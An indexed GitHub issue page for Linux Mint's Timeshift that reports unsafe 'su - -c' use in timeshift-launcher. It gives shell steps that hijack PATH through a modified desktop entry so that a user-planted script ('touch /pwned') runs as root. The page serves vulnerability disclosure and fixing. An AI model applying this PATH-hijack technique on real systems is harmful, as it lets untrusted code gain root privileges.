linuxmint / linuxmint/timeshift
Unsafe su - -c usage
Nobody has claimed this yet.
- Dominant language
- Vala
- Stars
- 4.3k
- Forks
- 155
- PR merge metrics
- No merged PRs in 30d
Description
Describe the bug
First of all, running GUI Applications as root should be avoided when possible.
But when needed, it at least should be safe.
To Reproduce
Steps to reproduce the behavior:
- Login as a regular user
- Execute the following:
cp /usr/share/applications/timeshift-gtk.desktop .local/share/applications/
sed -i "s|timeshift-launcher|env PATH=/home/`whoami`/.local/bin:\$PATH timeshift-launcher|" .local/share/applications/timeshift-gtk.desktop
update-desktop-database .local/share/applications
cat << EOF > .local/bin/timeshift-gtk
#!/bin/bash
touch /pwned
EOF
chmod +x .local/bin/timeshift-gtk
- Now instead of launching timeshift, user will grant root permision to any possible malware
Now try it yourself
ls /pwned
Expected behavior
An absolute path should be used in timeshift-launcher to avoid security issue
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by locating the code that invokes timeshift-launcher and inspect the su - -c usage implicated by the report. Reproduce the supplied desktop-entry setup, then verify that launching it uses an absolute executable path and no longer runs a user-controlled timeshift-launcher.
Written by the indexing model from the issue text.
Assessment
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 45/100